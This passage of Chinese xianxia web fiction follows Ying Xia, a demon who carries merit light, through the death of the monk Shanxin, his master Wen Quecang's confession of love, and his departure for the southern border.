他抬眼看去,和尚正好解决完周围四散逃离的小魔物,璀璨耀眼的金光慢慢淡下来。 “看来你师弟不怎么想见你啊?”应夏挑了下眉, 哼笑道,“我们才走了不到几步路, 已经来了三四波攻击了。” 和尚念了一句阿弥陀佛,而后皱着眉望向远处的城主府,说:“施主,继续赶路吧, 不论师弟是否愿意见我,我终归是要去见他的。” 应夏哼了一声,没有反驳,继续和他一路杀到城主府。 直到走到城主府大门前, 应夏活动着手腕, 才后知后觉地蹙眉, 问身边的和尚道:“喂,怎么总觉得哪里不对劲,不会是你师弟故意的吧?” 和尚没有明白他什么意思,耐心询问。 应夏道:“我们这一路上都快把这城中的魔物都杀完了, 你师弟不会是故意让我们杀, 好耗尽一些这西宁城的魔物吧?” “若是如此也好。”和尚感叹一声, 垂下眼眸不知又在想什么。 见状,应夏啧了一声,然后甩了一下骨刀, 将其上沾染的残渣振落,而后反握在手。 “算了,先进去会会你师弟。” 见应夏抬手,和尚连忙阻止,道:“施主且慢,待我先行一步,这城主府也设有幻阵机关。” “也对,你并不是第一次来了,那便由你带路。”有人先开路更好,还省了些力气。 和尚念了一句佛偈,而后伸手,掌心泛出金光,用力一推,便隔空将那扇沉重大门推了开来。 与此同时,一股风席卷着紫色的浓烟朝二人吹来,和尚见状立刻一挥手,金光猛涨,眨眼间便与那紫烟相撞,一点不漏的将浓烟包裹起来。 只听“咚”的一声,城主府的大门完全推开,金光也覆盖了整个门口,两息后金光才逐渐淡去,那紫烟也了无踪影,散于无形。 映入眼帘的是一座绿意盎然的庭院,让看多了漫漫黄沙与荒芜的应夏有些惊讶,摸了摸下巴,怀疑之前划船老者跟他说的绿洲,不会就是这城主府吧? 或者说,这城主府是建立在绿洲之上。 “这也是幻阵?”应夏问道。 和尚摇摇头:“并非,城主府内的景色皆为真,这城主府便是建立在沙漠绿洲之中。听其他修仙者说,以前绿洲的范围能将整座西宁边城包裹其中,而现在,已经缩小至这城主府的范围了。” 闻言,应夏若有所思。 “阿弥陀佛。”和尚转了转手中的念珠,抬脚踏进了城主府。应夏紧随其后。 一踏进府内,绿洲的范围便肉眼可见的扩大了不少,见状应夏感到十分新奇——在门外与门内见这范围竟是有好几倍差距,莫非也是阵法缘故? 似乎知道他心中所想,和尚解释道:“这城主府内空间比之外围要大不少,应该是被阵法改建过,这府内已然是另一片小天地。” “原来如此。”应夏好奇地左看右看,虽然是在敌方的地盘,但并不能阻止他的探究欲。 不过现在的确不是什么好时候,等到把这和尚师弟的事解决了,再来探探这看着一望无际的绿洲。 应夏收回好奇心,紧跟着和尚,一步步朝中心宫殿走去。 前往城主府的一路上危机四伏,可他们走进城主府后却一路风平浪静。 应夏看了眼走在前方的和尚,道:“你觉得你师弟这又是何意?” “我不知道。”和尚摇摇头,叹了口气,继续说,“若是师弟没有被魔气裹挟失了理智,总归是好的。” 应夏不置可否。 二人走着,不一会儿便走到那座华丽的宫殿面前,大门敞开着,显露出里面金碧辉煌的内部建筑。 一个黑色的人影便站在高高的台阶上,似乎正等待着他们的到来。 修仙者的眼力都很好,应夏一眼便认出这人就是那和尚的弟子,他同时也确认了此人果真如和尚所说,为天生魔。 那人亦无头发,身着朴素僧衣,面容和善,见他们前来也露出一丝了然笑容。 “师兄,你来杀我了。” 和尚念了一句:“阿弥陀佛。”对上他的眼睛,便再也无言。 应夏见二人对视,打量着这位在世间少见的“同胞”,竟是越看越稀奇。 他想了想,抬手汇聚出一股功德金光拍向和尚的师弟,那人竟是伸手将金光接到了手上,功德金光并未伤他分毫。 “有点意思。”应夏目光灼灼地看向他,问道,“你叫什么名字?” “师父为我取名善心。”善心一边回答着,一边将功德金光还给他。 应夏没有接,而是说:“你既然能不为功德金光所伤,看来你真的是没有杀过一个好人,若是如此,怎会成为这西宁边城的城主?而且,为何在我入城后派人邀请我?” 善心有问必答,道:“想必事情的起因师兄已告知与你,成为西宁边城城主是我自己的决断。邀请你其实是个意外,在你踏入西宁城的那一刻,我便感知到你与我一样是天生魔,因此想邀请你成为同盟。” “同盟?做什么?”应夏好奇地问道。 善心看了眼自己沉默不语的师兄,说:“魔的同盟,还能做什么……只可惜你拒绝了这份大业。” “说谎!”应夏立刻打断他,“你这副样子,倒不像是来应战,反而像是来送死的。” 善心始终看着自己的师兄,并没有反驳应夏的话,只是说:“既然你们都到这里了,想也是为了杀我而来,再废话也毫无意义,为何不立即动手?” 被善心注视着的善禅终于开口,“因为师弟你还叫我师兄。” 只刚刚见面那一句话,善禅便明白,师弟还是那个师弟,并没有被魔气扰乱心智,再结合他们来时的“阻挠”,与进入城主府后的风平浪静,这无疑不让人怀疑他是故意的。 故意将西宁城的魔物消耗,故意让他们来杀他。 善心似被这一句话有所触动,叹了口气,说:“师兄,你还是太过善良了。即便我没杀过好人,做过坏事又如何?我可是魔啊,还是天生魔!” “师兄,你应该杀我的。” 善禅没有说话。 应夏不解,“为什么?” 善心明明年纪不大,却好像已经经历过什么了,他看向应夏的眼神更加温和,道:“你也会明白的,在真正‘觉醒’之后,我们诞生于世界的使命已然注定。” 应夏皱着眉头,他还是不理解善心的这番话,继续追问:“什么觉醒,什么使命?难道是天道对你说了什么?” 他对于传承记忆还没有完全掌握,并未触及最深层的传承。 “而且,若是毁灭世界是魔的使命,那天道为何又给我功德金光?难道灭了这天下才是功德?” 面对应夏接连不断的问题,善心并没有一一回答,“谁说使命是毁灭世界了?” 应夏还想追问,但他明白再问下去善心也不会回答,所以他最后只问了一个问题,“那你的使命完成了吗?” 善心似乎有些意外他会问这样的问题,思索了半晌,说:“并没有,若是我要完成我的使命,恐怕你们二人不会如此顺利的来见我,或者说,完成我使命的第一步,便是将你们击杀,然后扩大西宁城的范围。” 虽然善心没有正面回答他的使命,但显然答案已经呼之欲出。 ——发展壮大魔物们。 善心看向善禅,“师兄,既然你需要一个杀我的理由,我便给你这个理由。为了众生,你应该杀了我。” 言外之意便是,若此时不杀他,日后必然继续他自己的使命,天下必遭生灵涂炭。 “虽然我已知自己的使命,但觉醒前师父师兄们的养育教导,让我愿意给一次机会,去违背诞生于世的宿命,仅此一次,引颈就戮。” 应夏见善心如此坚定,胸口似有触动,他下意识抚上胸膛,复杂的情绪汹涌而来,却不知如何纾解。 来见善心前,应夏认为功德金光可以救善心,虽然不能让他脱离天生魔的身份,但可以将其终身隐匿,依旧成为一个普通的和尚继续修行。 但在见到善心后,他觉得自己过于自大了。 应夏垂下眼眸,双手抱胸,似乎不打算再介入这师兄弟二人的事情了。 善禅却看了看应夏,对善心说:“师弟,我会杀你,不过在此之前,请帮师兄一个忙,师兄还欠这位施主一个救命恩情。” “此事也仅有师弟一人能做到了,希望师弟能为应夏施主解惑。” 应夏惊讶地抬头看他。 善心似有所悟,点点头,“师兄是想我开解他,不过师兄,我能引颈就戮只是因为我是被人养大的,但他从天生便知道自己是魔,虽然有功德金光伴生,但他还没有‘觉醒’,所以我亦无法预测或引导他向善。” 善禅摇摇头道:“我只是想让你为他解惑,仅此而已,并未有其他。” 说完,善禅转身走出了殿门,并贴心将殿门关上。他撩起僧袍在殿前台阶盘腿打坐,念经守着。 在善心开口前,应夏先一步问道:“真的有‘觉醒’这个说法么?” “有。”善心答道,“一如修仙者的开悟,魔也有‘觉醒’。世间大多数的魔物,觉醒者寥寥,能一直坚定的走在自己选择的道路上,很少。我亦无法坚定,所以我的选择,你也看到了。” “你的选择……是因为你喜欢你师兄么?” 善心有些惊讶,他摇头否认,道:“并不是,不过或许有占很少一部分,更多的是因为前几十年我是被当做人养大的,我无法抛却过往种种。” 应夏说:“所以直到如今,你依旧认为自己是一个人。” 善心笑了笑,点头:“如果你们不杀我,我今后便只会是魔。” “若是我杀了你师兄救下你呢?” 闻言,善心一怔,道:“我会与你为敌,依旧会是魔。” “你还是很喜欢你师兄。” 善心没有反驳,“是,那么多年的喜欢,怎会因一朝变故就消失。但这并不是要紧事,我喜欢我师兄,也已与他告白,他拒绝了,这便是结果。” “这个结果只是会影响我的情绪,或许会影响我的一些选择,但不会影响我要做的事情。” 善心看着应夏,说:“你很在意这个问题,是因为你也喜欢上一个人,是吗?” 应夏呼出一口浊气,点点头。 “你因此不知所措?” “是。” 善心想了想,说:“接下来我问你几个问题,不必回答我,心中有答案即可。” 又过去良久,殿门才打开。 应夏快步走出来,似有所悟,看都没看打坐的善禅,便离开了。 见状善禅站起来,对着他的背影念了一句祝福,然后转身看向殿中的善心。 善心一如既往温和的注视着他,在骤然出现的强烈金光中,嘴巴张合,应是说了两个字。 善禅即便听不清,也知那是在唤他。 “师兄。” 第93章 第 93 章 善心:“我该去赴我的结…… “你要去哪儿?”小石头从空间中弹出枝条, 细小却又有力地将自己翻到了应夏的肩头。 应夏再一次漫步在黄沙中,这一次他却是朝着西宁边城的反方向走,听到小石头的提问, 他回答道:“回师父身边去,去见见我的……” 话还没说完,西宁边城方向爆发出强烈的响动, 一股劲风从背后袭来,应夏没有躲也没有回头, 金光显现为他挡开余波。 小石头惊讶地回头一望,用枝条拍打着应夏的脸颊,大叫道:“你、你快看!这城……这城怎么……” 应夏仍是没有回头,他明白小石头的意思。 “西宁边城没了……”小石头愣愣地说。 应夏似有所料:“别想了, 这里的魔已经被解决了,我们回去。” 小石头的思绪被拽回来,嘿嘿笑了两声:“你是不是想你师父了?” 应夏没说话。 小石头也没指望能得到回答,似是自娱自乐道:“我也想你师父了。你师父身上的灵气可纯粹了, 好想再偷偷吸两口……” 应夏停住了, 目光转向小石头。 “啊!”小石头后知后觉地用枝条做了个捂嘴的动作, 糟了,居然不小心说漏嘴了。 应夏见状,忍不住露出了久违的调侃面容,笑道:“你以为你偷偷吸, 他会不知道?”只是纵容罢了。 想到这, 应夏又扭头继续走。 他突然想到, 或许他是魔的身份,温却沧也知晓了吧。 即便一开始有功德金光遮掩,这么长时间接触下来, 他也并不是没有用过魔气,只不过一直隐匿的很好。可温却沧是什么人?他身上有雷劫之力,可是魔的天敌,不可能毫无察觉。 应夏沉默地走着,无论小石头如何骚扰都不再开口。 他望着漫漫无边的黄沙,生出了些迷茫。 “由爱故生忧,由爱故生怖。”从善心那里听来的这句话,应夏无声默念着,一时顿觉胸口刺痛—— “若是你没有功德金光,你爱的人是否仍会一心一意对你?” 善心的话回响在耳边,这是应夏不敢去想的问题。 若是一开始他只是一个纯粹的天生魔,没有功德金光,遇见温却沧的那时候,便会与他拔刀相向,或者知道自己打不过便隐匿逃跑…… 正当应夏胡思乱想之际,善心又道:“但是这仅仅只是一个假设而已,现实是功德金光选择了你,这就是天意。” “天意或许正是要你遇见他,被他吸引为他生出人类的喜爱。” 应夏呼出一口气,难道是天道要让我生出人心?为什么呢?一个天生魔拥有了人心,又能改变什么? 这就是他的使命?他的使命就是遇见温却沧,然后长出人心,那再然后呢?继续用功德金光站在正道的路上驱魔除妖? 虽然应夏从不认为世间的魔是他的同类,但他也不喜欢被人安排好命运。 应夏问善心:“我们的降生是天道的意志,甚至还有觉醒与什么狗屁使命,所以一开始我们的命运就是被写好的吗?” 似是发现了什么,语气逐渐激动,说:“身为天生魔的你却被佛修所收养,是不是为的就是今天,你‘被自愿’杀死,清除这西宁边城的魔窟?!” 应夏抓住善心的衣襟,质问道:“你是不是也早就知道这事,为什么,为什么不……” 说到最后也已语无伦次,不知道该说什么,放开了手,沉默了下去。 “为什么不抗争?”善心抚平衣衫褶皱,坦然道,“因为我发现抗争没有意义。我如今只有两条路,要么继续魔的使命,发展壮大为祸人间,要么引颈就戮消除魔窟。但你又怎么能说,若是选择继续魔的使命,并不在天道的计算中呢?” 应夏睁大眼睛,死死咬住下唇。 “世间魔灵二气本就此消彼长,此刻魔气壮大灵气稀薄,可许多年后又是灵气渐重魔气微弱,万年间便是如此。所以,不论我走哪一条路,结局都是注定的。” 善心又问了一个问题:“若是你已知晓你的宿命与结局,而且当它无法改变时,你会怎么做?” 应夏沉思良久,当他再次抬起头时,目光已变得清澈坦然。 他说:“我不信什么宿命、什么结局,对于我来说,我所走的每一步都是我自己的选择。我想做,便做了。” 不管是用功德金光伪装自己也好,决定拜温却沧为师也好,都是他的选择,而他并不感到后悔。 善心笑了:“我说过,你不必回答我的问题,心中有答案便可。” 应夏却问道:“所以你是选择了一条最适合你的路?” 善心点点头:“我已然了却自己的执念,也对壮大魔气没有什么想法。” 应夏沉默了一会儿,说:“其实你还有其他选择。” “其他选择亦毫无意义。”善心明白他的意思,“我可以选择隐姓埋名不作恶也不作善,或许就能活在这世间,但是这对我来说毫无意义。” 应夏虽然不赞同,但却并未说什么。 善心又问应夏,“这一次,你面对你喜欢的人,心中可有答案?” 应夏没有回答,过了好长一段时间,才抬眼看他,而后呼出一口气,“我会好好想想。” 善心:“既然如此,我该去赴我的结局了。”—— 若是温却沧知晓他是魔,那他的结局会变吗? 应夏走出了沙漠,他也得到了答案——不会。 不论温却沧是否会包庇他魔的身份,最终结果不会改变,他一定会走到他的对立面。 应夏抬头望向光芒刺眼的太阳,天道给他安排的结局应该会和善心很像,他或许会被温却沧亲手杀死。 但这个结局他不喜欢。 所以他在走出沙漠前一直在思考要怎么选择,而在走出沙漠的那一刻,也下定了决心。 应夏面对着太阳,浑身洒满了温暖的阳光,但身上并未聚集起一丝温度。 他勾起了唇角。 应夏其实不喜欢善心的选择,不过这与他无关。 他摸着依旧传来闷痛的胸口,舔了舔干涸的下唇,冷冷笑着。 那就杀了温却沧吧,他是自己唯一的天敌。 “也让我看看,天道想要的终局究竟是什么样的。” 第94章 第 94 章 “可是师父,我是魔。”…… 应夏望着被云雾缭绕的山门, 脚步莫名停了下来。 小石头见状疑惑道:“怎么了?” “没事。”应夏敛下情绪,飞身入山门。 好久没见到守着山门的一左一右俩道童了,应夏又想起刚入玄衍宗的时候, 这么一算,入门后竟是发生了不少事情。 “应夏,你回来了!”一左惊喜地喊道。 一右却在一左话还没说完的时候, 便又大叫的跑开,“小师叔的道侣回来了!!” 应夏:“……”不是, 这误会还没解开呢? 一左闻言,不好意思地笑笑,说:“我和一右解释了,可能他没记住……” 应夏也笑着伸手捏了捏一左胖嘟嘟的脸颊, 很是和善地道:“好久不见,长了不少肉啊。” 一左赶紧把脸从魔爪里救出来,气鼓鼓地说:“才、才没有!都和一右说了,不可以偷吃……” “噢, 偷吃。”应夏双手抱胸, 一脸果然如此的表情。 “你、你可别去告状。”一左的小胖手抓住他的衣摆, 紧张兮兮的。 还没等应夏回答,便听到一个熟悉的声音。 “哟,这么久没见,一回来便在这里欺负一左了?”是裴道远, 他一手拿着扇子, 一手拎着一右。 不紧不慢的走到应夏面前后, 就将一右放下。 “还好我捞人捞得快,不知道的还以为你师父又多了个道侣,这可是有辱小师叔名誉啊。”裴道远啧啧了两声, 然后用扇子轻轻敲了一下一右的脑袋,“看清楚,应夏是小师叔的徒弟,不是道侣。” 一右摸了摸自己的脑袋,天真地问道:“那什么时候是?” 裴道远:“……”怎么讲不通。 应夏并不想继续在这个话题上纠缠,便道:“你们是打算把我堵在宗门门口不成?” 裴道远赶紧摆了个请的姿势。 应夏瞥了眼,然后大步走入山门,裴道远紧随其后,快走几步与其并肩而行。 裴道远大叹一口气,忧虑地说:“应夏,你自中心城不告而别,可知我们找你找的有多苦!” “讲讲如何苦?” 裴道远一噎,知道自己这戏演不下去了,咳嗽两声打算转移话题,便听见应夏问:“你们后来便回宗门了么?” “是,原本我和穆槐序着急,但小师叔说你没事,只是想出去一个人走走,我们便回来了。”裴道远说完问应夏,“你去哪儿了?” 应夏也并不未瞒着,说自己是去西宁边城了。 裴道远睁大眼睛,有些惊讶道:“西宁边城?难道那边魔窟被剿灭的事情,与你有关?” 应夏点点头,简单说了一下善心善禅的事情。 “原来如此,没想到你此番不告而别,竟是独自前往魔窟除魔,这可不够仗义!”裴道远伸手拍了拍应夏的肩膀,道,“这种好事不该叫上我俩么?” 应夏眨了眨眼,说了句抱歉,“一时情急。” “罢了罢了,都是过去的事,再说也没什么意思。”裴道远将扇子一展,转移话题道,“对了,穆槐序他下山历练了,去了南方丛林。” 应夏便顺着他的话往下问:“去哪儿做什么?” 裴道远:“丛林里冒出来不少魔兽,那边的许多村落城镇都遭了殃,也有很多仙门派人过去了。” 说着似乎想到了什么,又将展开的扇子收拢在手心里,道:“最近不知怎么,魔气疯涨,西边好不容易消停下来了,南边的魔兽又发了疯。” “不过南境有佛门在,问题应该不大。” 应夏挑眉:“佛门?” “你不知道?”裴道远说,“无量佛门正是在南境,与这次引发兽潮的地方倒是不远,所以主要还是佛门的人在镇压,不过似乎又出了什么岔子,这才不得不发了邀请,希望各仙门也派人过去。” “除了穆槐序,我们门中,也去了二十多个弟子吧。” 二人边走边说,很快便望见了听雪峰。 裴道远停下脚步,笑着说道:“我就不上去了,以免耽误你们师徒见面。” 应夏顿了顿,问:“自我走后,他……有说什么?” 裴道远神秘一笑,道:“这话还是你亲自去问小师叔为好。” 话音刚落,人便跑了个没影儿。 应夏收回视线,将目光落在依旧白雪皑皑的听雪峰上,沉思半晌,才迈步而上。 他慢慢踩在雪里,感受着冰凉的雪落在他的身上,正好也凉一凉胸膛里那颗躁动不安的东西。 不过效果并不怎样好。 风雪有些大,应夏却并没有使用法力护体,任凭自己被大雪浸湿。 脑海里本来还思索着见到温却沧时该说什么,但越想越乱,现在已成了一团乱麻。 应夏皱眉,索性不再去想,随机应变。更何况,他可是抱着要杀了温却沧的想法回来的。 如此在意温却沧的想法做什么?应夏挥开扑面而来的雪,虽这么想着,但胸口那颗人心却酸涩异常,不疼却惹得他烦躁难耐。 上山的路不长也不短,等应夏到达山顶时,已有一人也独自站在雪中。 即便大雪遮掩了视线,应夏也知道那人便是许久未见的温却沧。 他的脚步停下了,就这样隔着骤大的风雪看向他的便宜师父。 奇怪的是,原本躁动不安的心在此刻平静了下来,随之而来的是湿意,像是被长久浸泡在水中后,湿淋淋拿出来的一样。 这是什么情绪?应夏不能理解,他抚上心口。 “师父。”应夏不自主的唤了一声,当他发觉自己开口后又有些懊恼,他还没想好说什么呢,怎么就先开口了? 而就在这句话音刚落之时,对面的人便一步一步向他走来。 温却沧每踏出一步,他周围的雪便消失无踪,以他为中心,一股奇特的力量散发开去。 应夏便这么眼睁睁地看着整个听雪峰的冰雪消融,连带着他身上的积雪都被拂去。 冬天过去,那之后就是绿意盎然的春天。 似有温柔的风吹拂而过,所过之处生机显现,青草吐翠,树木染绿。 “应夏。” 一声轻唤把应夏的注意力又拉了回来。 那双熟悉的桃花眼里映着潋滟春色,也映着小小的自己,好像他被春意簇拥着一般。 应夏的心又不听话地快速跳动起来,像是想在刚苏醒的草地上打滚似的。 “你回来了。”温却沧笑着说。 应夏缓了缓,点点头,回答道:“我回来了,师父。” 想让自己从这种莫名的感动情绪中拉出来,应夏突然生硬地开始讲述自己去西宁边城发生的事情。 温却沧没有打断,只是一直注视着他,眼里带着清晰可见的宠溺。 应夏撇开视线,顿了顿继续把话说完。 “可有受伤?” “并无。” 温却沧伸手按了按他的肩膀:“先回屋,回屋再说。” 他走在前头,应夏跟在他身后。 应夏看着面前的背影,正思索着要不要趁这个时候出手,便被温却沧接下来的一句话所震惊。 “应夏,在你离开的这段时间,我想了很久,还是打算告诉你。” 温却沧转过身面对他,桃花眼里满是无法掩盖的情意,“我心悦你。” “……什么?”应夏愣了半天,才低声喃喃,“怎么会……” “我喜欢你,应夏。”温却沧又重复了一遍,“这并非玩笑或谎言,这是我的真心。” 应夏没去看他的眼睛,他怕他一看,就会暴露自己也喜欢他的事实。 怎么会这样?为什么要在他已做好与他为敌准备的时候,突然告诉他,原来他和喜欢的人是两情相悦? 那颗不争气的心正汹涌的表达着自己的存在感。 甜蜜又苦涩——这是应夏品尝到的味道。 他深吸一口气,又恢复往常那个骄矜少年模样,鹿瞳中七分得意与三分不怀好意:“那师父是什么时候喜欢上我的?” 温却沧像是已预知了他的反应,伸手摸了摸他的头,说:“我也不知道,或许很早的时候,只是在中心城的时候才察觉自己的心意。” “哦——原来如此。”那和他察觉自己的喜欢差不多。 “可我要是不喜欢你怎么办?”应夏状似苦恼地问。 “那我就努力让你喜欢我。” 应夏挑眉,这根本没有拒绝的选择,没想到温却沧竟是这般性子,这倒有些令他意外。 他想了想,抬眸对上温却沧的目光,声音低下来,冷冷道:“可是师父,我是魔。” 本来没想这么快摊牌,但温却沧的表白显然打乱了应夏的心绪,没由来的一股劲让他把这件一直困扰他的事情说出来。 “如果我是魔的话,你也会喜欢吗?” 一边问着,应夏却已经拔出红刃骨刀,横在温却沧脖颈前。 屋内的气氛瞬间冷凝下来。 第95章 第 95 章 “就当师父求你。”…… 应夏握着骨刀, 浑身神经紧绷,眼睛一眨不眨盯着温却沧。 在回程路上,他早就预料到有拔刀相向的时刻, 也做好了被揭穿魔身份的准备。 应夏假想过,若温却沧知道他的真实身份后会如何,或许憎恨魔的欺骗, 或许厌恶……他想不下去,若真是这般, 他会亲手杀了温却沧,或者与他同归于尽。 “我知道。”即使被抵着命脉,温却沧也只是温柔一笑,没有任何责怪的意思。 应夏显然没想过这个答案, 他怔怔道:“你……知道?什么时候?” “在我们第一次见面的时候,我便知道你是魔,而且是新生的魔。”温却沧回忆道。 应夏放下刀,皱着好看的眉:“这么早?那你又为何收一个魔为徒?” “因为你身上有功德金光, 仅凭此, 便足以。” 又是功德金光, 应夏咬牙,红着眼愤愤道:“若没有功德金光,你一开始便会杀我!” 温却沧伸手想要摸摸他的头,却被应夏躲开, 他无奈地收回手, 道:“不会。因为你太纯粹了, 纯粹的魔与纯粹的灵没有什么区别。所以引导十分重要,第一次见到你的时候,我便想着将你带在身边, 好好教授引导,不令你变成嗜杀嗜血的魔头。” “真正起了收你为徒的心思,是在你使用功德金光的时候。” 应夏问道:“你不感到奇怪?一个魔居然有功德金光。” 温却沧却说:“这不奇怪,我也曾见过拥有功德金光的妖兽。功德金光的赋予并不注重出身,而是在为人处世。” “可世人不怎么认为。”应夏避开那双始终含情的桃花眼,“若是宗门内大家都知道我是魔,一定会……” 还没等他说完,温却沧便打断,笃定道:“不会,或许有惊讶诧异,可能还需要些时日缓缓,但他们不会与你敌对。” 应夏扯了下嘴角,似笑非笑道:“又是因为功德金光。” “不全是。”温却沧按住应夏的肩膀,力道不重,却不容他躲避挣脱,“应夏,你好好想一想,裴道远和穆槐序他们二人和你成为朋友,是因为功德金光吗?若是,他们可从你这儿获得了什么好处?” 没有,所以应夏沉默了。 温却沧摸了摸他的发顶,说:“你既然与我坦诚,想必已是做好最坏的打算,但我可以告诉你,应夏,我永远会是你的师父。你是魔,那我便是魔的师父。你若做错事,便是我教育不当,错责全在我。不必有压力,当初决定收你为徒,自然考虑过有一天你的身份会显露在众人面前,也自然会为你筹谋。” 说到这儿,温却沧笑了一下,如灿月皎洁明亮。 “没想到并不需要师父,你自己已经做得很好了。” 应夏不解地抬头看向他,却因那双深情眼眸中倒映着的自己,心脏又不听话地跳动起来。 “北天剑宗、玄衍宗、御兽门、中心城……还有西宁边城。”温却沧缓缓道,“你或许不知道,功德金光是会随着使用而逐渐减少,可是你身上的功德金光似乎永远不会消耗完,正是因为你做的这一桩一件,都能称得上是大功德。” “如今的你,已是完全能受得起这满身的功德金光。” 应夏闭了闭眼,并未置评,只呼出一口浊气,低声问道:“那你为何会喜欢我?” 温却沧没有直接回答,而是说:“你知道什么是喜欢么?或者说是爱。” 应夏想着那我可太清楚了,这颗不听话的人心便是因此而生。 徒弟的沉默在他意料之中,他不动声色地拉起应夏的手,附在自己的胸膛上。 应夏诧异地瞪大双眼,手心底下是跳动规律又快速的心脏,竟是一点也不输他的。 温却沧一手按在他的手背,一手抚着徒弟的头发,道:“不知从何时开始,你的一举一动已牵动我的心神,我的目光无法从你身上挪开,我……” “好了,别说了。”应夏像是被烫到一般,快速缩回手,退离几步,大喘气了几下。 温却沧意外地看着红了耳根的应夏,似乎有些惊喜,“原来你并不是不知道,原来……我不是单相思?” 应夏红着脸瞪了他,抬了抬下巴,神情甚是不在意,语气却很强烈:“谁知道!我不知道!你别乱猜!” “好好好,你不是,我是。”温却沧哄道。 但他克制不住地将应夏拢进了怀里,不顾他的挣扎,又低声道:“应夏,我很高兴,我太高兴了。” “我不高兴!”应夏被迫埋在温却沧的肩头,闻到他身上的冷雪香,整个人都红了,心脏更是跳得欢快。 “放开!” “再抱一会儿。” “我说放开!” “就当师父求你。” “……” 啊啊啊啊!我还是要杀了他! 热气上头,应夏觉得自己快疯了! 他虽挣扎厉害,但手脚僵硬,不敢触碰拥抱他的温却沧。 就这么被抱着不知过了多久,温却沧才放开他。 应夏下一秒便跑了个没影儿。 温却沧大笑着看着应夏落荒而逃的背影,觉得今天是个值得纪念的日子。 “嘭——”这是应夏重重关上自己房门的声响,彰显着他依旧混乱的心绪。 应夏快步在屋子里走来走去,低声嗫嚅着什么。 “怎么办、怎么办……他居然也喜欢我……不行,我都决定好了……” “可是……可是……我……” 他摸着胸口,可谓是五味杂陈,不知该如何面对了。 应夏停下脚步,闭上了眼睛,周围喧嚷的氛围一下子沉静下来。 但一安静下来后,隔壁屋的存在便变得明显起来,应夏咬牙睁开眼睛,不能继续待在听雪峰,得找个地方好好想一想。 想到这,他又顿住了,想什么呢?回来的一路上不都想过了么? 为什么听见温却沧的表白,便打算改变想法了? 应夏有些挫败的坐在椅子上,双手撑着脸。 他果然还是喜欢温却沧。 不,是这颗人心!应夏猛地站起来,他垂头看向自己的胸口。 思考了好一会儿,做了个决定—— 既然喜欢,那便……- 第二天,应夏带着一个锦盒去找温却沧。 “你打算去南境?”温却沧并不意外,但他不舍地摸了摸应夏的头,道,“你才回来一天,便又要离开师父,是不是因为昨天的事情才……” 应夏点头又摇头,他说:“是又不全是,大部分是因为昨天的事,所以我想离开一段时间好好想一想,还有一部分是我有些担心穆槐序,还有一部分是想知道魔兽突然暴动的原因,想去南境看看。” 温却沧从袖中掏出一枚令牌,让应夏收下,说:“你凭这枚令牌可让南境佛门照看你一二。” 应夏没有拒绝:“多谢师父。” 他掏出锦盒交给温却沧时,说:“这是我送给师父的,还有我写的信,不过等我走后你再看。” 温却沧没想到他还能收到礼物,还有回信,恐怕是徒弟不愿意当面说,所以才写了封信。 “好。”他收下后珍重地藏起来。 应夏松了口气,露出久违的笑容,他说:“师父,那我走了。” 还没等温却沧回应,应夏出人意料地上前抱住了他。好像是在补上昨天的拥抱。 “师父,我走了。”他埋在温却沧怀里,又说了一遍。 温却沧显然很惊讶,同样也很欢喜,他拥住心爱的少年,道:“一路小心。” 应夏只抱了一会儿就松开,然后风风火火地跑了。 温却沧的脸上是止不住的笑意。 真好。 希望应夏这一趟回来后,不要再离开他身边了。 应夏听不见温却沧心里的话,他只觉得浑身轻松,像是卸了千斤重的东西,步伐都欢快不少。 他又找回之前无忧无虑的那个肆意少年了。 看来,他走这一步是没错的。 只希望,师父到时候看到盒子里的东西,不要太惊讶了。 第96章 第 96 章 初入南境。 应夏走后, 温却沧站在原地很久,他拿出徒弟给的锦盒,爱不释手。 他看了那盒子很久, 久到太阳都落山,才停下摩挲的动作,准备打开盒子。 那一刻, 温却沧充满了期待。 随着盒盖缓缓开启,一道耀眼的金光从盒中喷涌而出, 照亮了整个屋子。 这是功德金光?温却沧有些惊讶,可是功德金光怎么能脱离…… 随即他便看清了功德金光能脱离的原因。 温却沧完全怔住了,双手紧紧扣在盒子上,连指尖都十分用力。 话音是不自觉的颤抖:“应夏……你怎么……” ——那是一颗红色的人心, 比正常人的要小一些,可它是鲜活的,还在跳动。 金色的功德金光缠绕其上,像是一份精心准备的礼物。 温却沧能感觉到里面源源不断的功德之力, 这难道是应夏他…… 没错, 应夏确将自己身上所有的功德金光都剥离, 然后放在这颗人心里面。 不过他还是留了几丝在身上作为遮掩,毕竟这仙门的大阵可不是吃素的,他总得先走出玄衍宗再说。 应夏这一趟去南境,他决定不掩饰自己魔的身份, 打算看看师父说的不一样是否是真的。 南境那儿有穆槐序, 也有不少前去支援的北天剑宗和御兽门的弟子们, 不知道到时候他们见了自己,发现是魔,会是怎样的表情。 似乎又过去不少时间, 温却沧才回过神来,他小心翼翼地放下盒子,拿起放在小小人心旁的信,展开一阅。 “应夏、应夏!你等等我!”裴道远的声音从远处传来。 这时应夏已走出玄衍宗不少时间了,他竟是一路紧赶慢赶地跟了上来。 应夏便停下脚步等他,等到裴道远走到他面前,并不掩饰自己身上隐隐散发出来的魔气。 他见裴道远皱眉:“你身上怎么有魔气,可是遇见魔与他打斗一番了?” “我是魔。”应夏看着裴道远的眼睛,认真道。 裴道远闻言,愣住了,应夏说完转身便走。 这和想看别人知道他是魔后作何反应的想法完全相反,可能他内心其实还是有些害怕,害怕好友做出他不愿意见到的反应。 应夏的脚步更是快了些。 没过多久,裴道远便又追了上来,说:“应夏,我知道你是应夏,这就够了。” 闻言,应夏有些意外的停下,转头看向他,“你不介意我是个魔?” 裴道远展开扇子,笑得很洒脱,道:“魔又怎么样?妖又如何?我知道应夏是一个什么样的人,他不会乱杀无辜,不会为祸苍生。应夏是我裴道远的好友,这边足够了。” 应夏挑眉。 裴道远神色又变得认真,道:“作为好友我会站在你这边,但若是你乱杀无辜,违反道义或者其他什么违背人性的事情,那我一样会站出来阻止你,而且我们的友谊也到此为止了。” “我明白。”应夏说完又继续上路。 裴道远走在他身边,又恢复了原来那个性子,道:“应夏,你这瞒得可真好,不会连小师叔也没看出来吧?” 没等应夏回答,他就自己得到了答案,“应该是没有的,就连宗门大阵都没察觉。” “是功德金光!”裴道远恍然大悟,“原来是功德金光帮你伪装,难怪能逃过宗门大阵的法眼。” 说到这里,他又奇怪道:“应夏,发生了什么事,你身上的功德金光呢?” 应夏想了想,并没有瞒着裴道远,直接道:“我送给师父了。” “什么?!” 裴道远有些傻眼,这、这是能随便送人的吗?先不说能不能送,那应夏怎么突然又不打算遮掩身份了……他有太多的疑惑想问,但话到嘴边又咽了回去。 